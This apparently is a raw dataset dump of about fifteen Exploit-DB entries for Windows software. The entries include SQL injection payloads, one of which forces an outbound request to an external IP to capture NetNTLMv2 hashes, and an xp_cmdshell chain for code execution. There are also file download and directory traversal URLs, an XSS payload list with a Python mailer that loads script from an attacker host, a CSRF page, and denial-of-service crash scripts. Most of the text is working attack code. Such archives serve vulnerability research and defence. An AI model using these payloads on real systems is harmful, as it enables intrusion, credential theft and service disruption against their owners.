deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50161
Description: TripSpark VEO Transportation - Blind SQL Injection
Type: webapps
Platform: windows
Date: 2021-07-28
Author: Sedric Louissaint

Exploit:
# Exploit Title: TripSpark VEO Transportation - 'editOEN' Blind SQL Injection
# Google Dork: inhtml:"Student Busing Information" 
# Date: 07/27/2021
# Exploit Author: Sedric Louissaint @L_Kn0w
# Vendor Homepage: https://www.tripspark.com
# Software Document Link: https://www.tripspark.com/resource_files/veo-transportation.pdf 
# Version: NovusEDU-2.2.x-XP_BB-20[PII_REDACTED]84 / VEO--20[PII_REDACTED]84
# OS Tested on: Microsoft Windows Server 2012 R2 Standard
# Vender Notified: 01/19/2021
# Confirmed Patch was released : 06/15/2021

# Summary : The POST body parameter editOEN is vulnerable to blind SQL injection. Any user can inject custom SQL commands into the “Student Busing Information” search queries. An exploit is not necessary to take advantage of this vulnerability.

# PoC to trigger DNS/HTTP request and capture NetNTLMv2 hash(if 445 is allowed outbound).

```

POST / HTTP/1.1
Host: vulnerable.site.net
User-Agent: Mozilla/5.0 (x; x; rv:68.0) x/20100101 x/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4700
Origin: vulnerable.site.net
Connection: close
Referer: https:// vulnerable.site.net 
Cookie: ASP.NET_SessionId=x
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

__VIEWSTATE=redacted&__VIEWSTATEGENERATOR=2A5DADC0&__EVENTVALIDATION= redacted&editOEN=123'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c52.173.115.212'%2b'%5cfro'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20&cboxMonth=01&cboxDay=01&cboxYear=2001&btnLogin=Submit

```
Exploit-DB #18603
Description: TVersity 1.9.7 - Arbitrary File Download
Type: webapps
Platform: windows
Date: 2012-03-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  TVersity
              http://tversity.com
Versions:     <= 1.9.7
Platforms:    Windows
Bug:          arbitrary files downloading
Exploitation: remote
Date:         14 Mar 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


TVersity is an home media server.


#######################################################################

======
2) Bug
======


Possibility of downloading arbitrary files.

Note that TVersity is intended for an home usage and by default it
shouldn't accept connections from internet (there is a specific option
for that), anyway I have not verified.


#######################################################################

===========
3) The Code
===========


http://SERVER:41952/geturl/.%3ftype%3daudio%252fmpeg%26url%3dfile://c:/windows/&ext=system.ini
http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/&ext=system.ini
http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/system.ini&ext=.
http://SERVER:41952/geturl/system.ini.ini?type=audio/mpeg&url=file://c:/windows/&ext=.ini
http://SERVER:41952/geturl/c:\windows\system.ini.mp3?type=audio/mpeg&url=file://&ext=.ini


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #44917
Description: VideoInsight WebClient 5 - SQL Injection
Type: webapps
Platform: windows
Date: 2018-06-20
Author: vosec

Exploit:
# Title: VideoInsight WebClient 5 - SQL Injection
# Date: 2018-05-06
# Author: vosec
# Vendor Homepage: https://www.security.us.panasonic.com/
# Software Link: https://www.security.us.panasonic.com/video-management-software/web-client/
# Version: 5
# Tested on: Windows Server 2008 R2
# CVE: N/A

# Description: 
# This exploit is based on CVE-2017-5151 targeting versions prior.
# The txtUserName and possibly txtPassword field contain an unauthenticated SQL injection vulnerability
# that can be used for remote code execution.

# SQL Injection - PoC
# From the web login page submit the following string as the username with anything in the password field.  
# The web server will hang for 5 seconds:

UyYr');WAITFOR DELAY '00:00:05'--

# Remote Code Execution - PoC
# From the web login page submit each of the following strings as the username, one at a time, with anything
# in the password field (with the ping, use a valid IP address that you can monitor):
UyYr');EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--
UyYr');EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
UyYr');EXEC xp_cmdshell 'ping xxx.xxx.xxx.xxx';--
Exploit-DB #18510
Description: WebcamXP and webcam 7 - Directory Traversal
Type: webapps
Platform: windows
Date: 2012-02-22
Author: Silent_Dream

Exploit:
# Exploit Title: WebcamXP and Webcam7 Directory Traversal Vulnerability
# Google Dork: "powered by webcamxp" xhtml css
# Google Dork: "powered by webcam 7"
# Date: 2/22/2012
# Author: Silent Dream
# Software Link: http://dl.filekicker.com/send/file/230775-FQAC/wlite550.exe
# Software Link: http://dl.filekicker.com/send/file/226161-G6BD/w7inst.exe
# Version: WebcamXP 5.5.1.2, Webcam 7 v0.9.9.32
# Tested on: Windows XP
# Similar to CVE: 2008-5862 but uses backslashes instead of encoded forward slashes.

http://ip:8080/..\..\..\..\..\..\..\..\..\..\..\boot.ini
Exploit-DB #39573
Description: Wildfly - 'WEB-INF' / 'META-INF' Information Disclosure via Filter Restriction Bypass
Type: webapps
Platform: windows
Date: 2016-03-20
Author: Tal Solomon of Palantir Security

Exploit:
Exploit Title: Wildfly: WEB-INF and META-INF Information Disclosure via Filter Restriction Bypass
Date: 09.02.16
Exploit Author: Tal Solomon of Palantir Security
Vendor Homepage: https://bugzilla.redhat.com/show_bug.cgi?id=1305937
Software Link: http://wildfly.org/downloads/
Version: This issue effects versions of Wildfly prior to 10.0.0.Final, including 9.0.2.Final, and 8.2.1.Final. 
Tested on: Windows
CVE : CVE-2016-0793

An information disclosure of the content of restricted files WEB-INF and META-INF via filter mechanism was reported. Servlet filter restriction mechanism is enforced by two code checks: 

if (path.startsWith("/META-INF") || path.startsWith("META-INF") || path.startsWith("/WEB-INF") || path.startsWith("WEB-INF")) {
    return false;
}

private boolean isForbiddenPath(String path) {
                return path.equalsIgnoreCase("/meta-inf/") || path.regionMatches(true, 0, "/web-inf/", 0, "/web-inf/".length());
}

which can be bypassed using lower case and adding meaningless character to path.

Proof of Concept Video:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39573.zip
Exploit-DB #29292
Description: XAMPP for Windows 1.8.2 - Blind SQL Injection
Type: webapps
Platform: windows
Date: 2013-10-29
Author: Sebastián Magof

Exploit:
# Exploit Title: XAMPP for Windows 1.8.2 Blind Sql Injection
# Date: 2013/10/28
# Exploit Author: Sebastián Magof
# Vendor Homepage: apachefriends.org
# Software Link: apachefriends.org/en/xampp-windows.html
# Version:1.8.2/1.7.7
# Tested on: Windows
# Twitter: @smagof
#Greetz: Family, Friends && Under guys;
#Special Greetz: My Alpha (:


#Description:XAMPP is a platform-independent server, free software, which
mainly consists of the MySQL database, the Apache web server and
interpreters for scripting languages: PHP and Perl. The name comes from
the acronym for X, Apache, MySQL, PHP, Perl.


#Sql-Injection: An attacker may execute arbitrary SQL statements on the
vulnerable system. This may compromise the integrity of your database
and/or expose sensitive information.
#Vulnerable file: cds.php
#Parameter: "jahr="

#Exploit:
http://127.0.0.1/xampp/cds.php?jahr=1967 AND
sleep(3)&interpret=1&titel=[PII_REDACTED]



# (\/)
# (**)
#(")(")
Exploit-DB #20367
Description: xeams email server 4.4 build 5720 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Xeams Email Server
Version: 4.4 Build 5720
Vendor Site: http://www.xeams.com

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} 
2: <SCRIPT SRC=http://attacker/xss.js></SCRIPT> 
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 
4: <SCRIPT>alert('XSS')</SCRIPT> 
5: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
6: </TITLE><SCRIPT>alert("XSS");</SCRIPT> 
7: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT> 
8: <<SCRIPT>alert("XSS");//<</SCRIPT> 
9: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 
10: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT> 
11: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT> 
12: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT> 
13: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT> 
15: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT> 
16: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT> 
17: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''


import smtplib, urllib2
 
payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #43019
Description: ZKTime Web Software 2.0 - Improper Access Restrictions
Type: webapps
Platform: windows
Date: 2017-08-18
Author: Arvind V

Exploit:
Exploit Title: ZKTime Web Software 2.0 - Broken Authentication
CVE-ID: CVE-2017-14680
Vendor Homepage: https://www.zkteco.com/product/ZKTime_Web_2.0_435.html
Vendor of Product: ZKTeco
Affected Product Code: ZKTime Web - 2.0.1.12280
Category: WebApps
Author: Arvind V.
Author Social: @Find_Arvind

------------------------------------------

Product description:
ZKTime Web 2.0 is a cutting edge Web-based Time Attendance software, which
provided a stable communication for devices through GPRS/WAN, hence, users
can access the software anywhere by their Web Browser to remotely manage
hundreds of T&A terminals under complex network condition (WLAN). The
Application has an administrator role and application user role.

Attack Description:
The Application is a time attendance software which allows users to
download their time and attendance data from the application in a PDF
Format. The data includes their employee’s id, user-id, gender,
birth-dates, phone numbers and access-areas. These PDF Files however are
not properly authenticated. If any user get access to the file-download
link, he can go ahead and download these files directly without any
authentication.

Proof of Concept Links:

1) http://XX.XX.XX.XX:8081/tmp/report_file/Personnel_[PII_REDACTED]4237.pdf
<http://xx.xx.xx.xx:8081/tmp/report_file/Personnel_[PII_REDACTED]4237.pdf>
2) http://XX.XX.XX.XX:8081/tmp/report_file/Personnel_[PII_REDACTED]4238.pdf
<http://xx.xx.xx.xx:8081/tmp/report_file/Personnel_[PII_REDACTED]4238.pdf>
3) http://XX.XX.XX.XX:8081/tmp/report_file/Personnel_[PII_REDACTED]4239.pdf
<http://xx.xx.xx.xx:8081/tmp/report_file/Personnel_[PII_REDACTED]4239.pdf>


Impact:
Personal details pertaining to the employees of the company are disclosed
without their permissions. This leads to violation of user privacy.
Moreover the information available can be used to mount further attacks.

References:
http://seclists.org/fulldisclosure/2017/Sep/39
http://seclists.org/bugtraq/2017/Sep/20
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14680


Vulnerability Timeline:
18th August 2017 – Vulnerability Discovered
20th August 2017 – Contacted Vendor – No Response
1st September 2017 – Contacted Vendor again – No Response
18th September 2017 – Vulnerability Disclosed
Exploit-DB #20320
Description: Zoho BugTracker - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: windows
Date: 2012-08-07
Author: LiquidWorm

Exploit:
<!--

Zoho BugTracker Multiple Stored XSS Vulnerabilities


Vendor: Zoho Corporation Pvt. Ltd
Product web page: http://www.zoho.com
Affected version: N/A

Summary: Zoho Bug Tracker is an online bug tracking software that
combines a clean and an intuitive interface to submit and track bugs
with custom workflows, business rules, custom fields and filters for
the bugs that software projects are bound to generate and fix all bugs
fast.

Desc: The Bug Tracking Software suffers from a stored XSS vulnerability
when parsing user input to the 'comment' and 'mystatus' parameters via
POST method thru 'bugdetails.do' and 'addmystatus.do' scripts. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code
in a user's browser session.


Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5096
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5096.php


06.08.2012

-->


<html>
<title>Zoho BugTracker Multiple Stored XSS Vulnerabilities</title>
<body bgcolor="#000000">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script>

<form action="https://[HOST]/portal/[USER]/bugdetails.do?action=addcomment" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="action" value="addcomment" />
<input type="hidden" name="projId" value="[PII_REDACTED]00013273" />
<input type="hidden" name="issueId" value="[PII_REDACTED]00013347" />
<input type="hidden" name="zpcp" value="1f91d0fa-9a61-4aab-898c-f023ac4c44fc" />
<input type="hidden" name="fromPage" value="bugcomments" />
<input type="hidden" name="comment" value='"><script>alert(1);</script>' />
<input type="hidden" name="uploadfile" value="" />
</form>

<form action="https://[HOST]/portal/[USER]/addmystatus.do" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="mystatus" value='"><script>alert(2);</script>' />
<input type="hidden" name="projId" value="[PII_REDACTED]00013273" />
<input type="hidden" name="targetid" value="latestactivity" />
<input type="hidden" name="zpcp" value="1f91d0fa-9a61-4aab-898c-f023ac4c44fc" />
</form><center>

<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><h3>XSS 1</h3></font></b></a><br />

<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><h3>XSS 2</h3></font></b></a><br />

</center></body>
</html>
Exploit-DB #8611
Description: 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows_x86
Date: 2009-05-05
Author: Load 99%

Exploit:
#!/usr/bin/perl
#
# A client side vulnerability in the product allows remote servers to cause the  client to crash by sending it a large banner.
#  By: Load 99%
#
# website: http://www.electrasoft.com/32ftp.htm
# Version:09.04.24
#
#0:005> g
# ...
#(9b0.bac): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=41414141 ebx=00000001 ecx=000013e7 edx=0382ec14 esi=fffffffe edi=00000000
#eip=41414141 esp=0382f018 ebp=0382f050 iopl=0         nv up ei pl nz na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
#41414141 ??              ???
#
use IO::Socket::INET;

my $socket = IO::Socket::INET->new('LocalPort' => 21,
                   'Proto' => 'tcp',
                   'Listen' => SOMAXCONN)
    or die "Can't create socket ($!)\n";
   
print "Server listening\n";
$data = "220 ".("\x41" x 5060)."\r\n";

while (my $client = $socket->accept) {
    print "send> data.\n";
    print $client $data;
}
die "Can't accept socket ($!)\n";

# milw0rm.com [2009-05-05]
Exploit-DB #37881
Description: Adobe Flash - Shared Object Type Confusion
Type: dos
Platform: windows_x86
Date: 2015-08-19
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=434&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The Shared Object constructor does not check that the object it is provided is of type Object before setting it to be of type SharedObject. This can cause problems if another method (such as Sound.loadSound) calls into script between checking the input object type, and casting its native object. A PoC is as follows:

class subso extends Sound{

	public function subso(f){
			
	super("_level0.test");
	var n = {valueOf : func};
	_global.func = f;
	_global.t = this;
	var f2 = this.loadSound;
	f2.call(this, n, 1);
}

function func(){
	
	_global.func(_global.t,"/sosuper.swf", "/sosuper.swf");
	return 1;
	}
}
	

A sample fla, swf and AS file are attached. Note that this PoC needs to be hosted on a webserver to work and only works on 32-bit systems (tested on Windows Chrome). song1.mp3 should be put in the same folder on the server as the swf, it is needed for loadSound to work. This bug is likely only exploitable on 32-bit systems due to how the type-confused fields line up.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37881.zip
Exploit-DB #45670
Description: Adult Filter 1.0 - Denial of Service (PoC)
Type: dos
Platform: windows_x86
Date: 2018-10-24
Author: Beren Kuday GÖRÜN

Exploit:
# Exploit Title: ADULT FILTER 1.0 - Denial of Service (PoC)
# Date: 2018-10-28
# Exploit Author: Beren Kuday GÃ–RÃœN
# Vendor Homepage: http://www.armcode.com/adult-filter/
# Software Link: http://www.armcode.com/downloads/adult-filter.exe
# Version: 1.0 (Build 2007-Mar-12)
# Tested on OS: Windows XP Professional sp3 (ENG)

# Steps to Reproduce: Run the python3 exploit script, it will create a new
# file with the name "boom_for_Adult_Filter.txt". Copy the content of the
# new file "boom_for_Adult_Filter.txt". Now start the program. When you
# open the program, select 'Options >> Black Domain List ...' from the
# menu item. In the window that opens, enter the text in the file you
# created with python3 script the 'Add the domain list' section. 
# Press the 'Add' button and then press the 'OK' button.
# And see a crash!

buffer = "A" * 4500

try:
	file = open("boom_for_Adult_Filter.txt","w")
	file.write(buffer)
	file.close()
	print("[*] Ready for Denial of Service")
	
except:
	print("[*] Error: Failed to create file")
Exploit-DB #45356
Description: Any Sound Recorder 2.93 - Denial of Service (PoC)
Type: dos
Platform: windows_x86
Date: 2018-09-10
Author: T3jv1l

Exploit:
# Exploit Title: Any Sound Recorder 2.93 - Denial of Service (PoC)
# Date: 2018-09-09
# Exploit Author: T3jv1l
# Vendor Homepage: http://www.any-sound-recorder.com
# Software: http://www.any-sound-recorder.com/anysoundrecorder.exe
# Version: Any Sound Recorder 2.93 
# Tested on: Windows 7 SP1 x86

#!/usr/bin/python 

import struct
print"""

#1.  Download and install the setup file
#2.  A file "Byte.txt" will be created
#3.  Click Help > Enter key code... in tool bar
#4.  Copy the contents of the file (Byte.txt) and paste in the Username Name field 
#5.  Click Register and BOOMMMM !!!! 

totalsize = 7000 # total size buff
buffer= "\x41" * 900  #Offset
nseh= "BBBB" # next seh address 
seh= "CCCC"  # seh address
shellcode= "T" * (totalsize-len(buffer+nseh+seh))
payload = buffer + nseh + seh + shellcode
try:
    f=open("Byte.txt","w")
    print "[+] Creating %s bytes payload..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #15306
Description: AnyDVD 6.7.1.0 - Denial of Service
Type: dos
Platform: windows_x86
Date: 2010-10-23
Author: Havok

Exploit:
#!/usr/bin/perl
#AnyDVD <= 6.7.1.0 Denial Of Service Vulnerability
#By Havok, from France. (c'est les vacances \o/. Mais y a plus d'essence :(. Rime de leet spotted :P).
#23/10/2010
#Tested on Windows XP SP3.
#Software still available here at the moment : http://static.slysoft.com/SetupAnyDVD.exe
#It seems that RegAnyDVD.exe is our friend. :)

my $w00T_omg= "\x41" x 7777;
open(file,">DoS.AnyDVD");
print file "REGEDIT4\n\n";
print file "[HKEY_LOCAL_MACHINE\\Software\\SlySoft\\AnyDVD\\Key]\n";
print file "\"Key\"=\"$w00T_omg\"";
print "The file has been created successfully. Open it and BOOM. Cheers!";
close(file);
Exploit-DB #9606
Description: Apple Safari 3.2.3 (Windows x86) - JavaScript 'eval' Remote Denial of Service
Type: dos
Platform: windows_x86
Date: 2009-09-09
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# letsgosurfinnowonsafari.pl
# AKA
# Safari 3.2.3 (Win32) JavaScript 'eval' Remote Denial of Service Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# Safari crashes when interpreting a webpage that calls the "eval" JavaScript function with "A/" repeating
# 21526 times (43052 bytes). When triggering this vulnerability, Safari will throw a "Stack Overflow"
# exception, and then an access violation when adjusting the trigger to "A/" repeating 21697 times
# (43394 bytes). The problem originates in the module "WebKit.dll". Safari uses this module as part of the
# WebKit layout engine (www.webkit.org).

# This issue was reported to Apple several months ago and it looks like they fixed it in Safari 4
# (4.1.2 tested) after recent testing. It has also been lying around the Fun Archive @ krakowlabs.com for
# quite a while too. Btw, STACK_OVERFLOW does NOT mean there is a buffer overflow on the stack. It pretty
# much means that the stack for the process has been exhausted and its maximum size has been reached.
# *********************************************************************************************************
# letsgosurfinnowonsafari.pl

$fn   = 'letsgosurfinnowwithsafari.html';
$size = 21526; # "Stack Overflow" WebKit.dll
#$size = 21697; # "Access Violation" WebKit.dll

$payload = '<html><script type="text/javascript">' . "\n";
$payload = $payload . 'eval("' . "A/" x $size . '");' . "\n";
$payload = $payload . '</script></html>';

     open(FD, '>' . $fn);
     print FD $payload;
     close(FD);

# milw0rm.com [2009-09-09]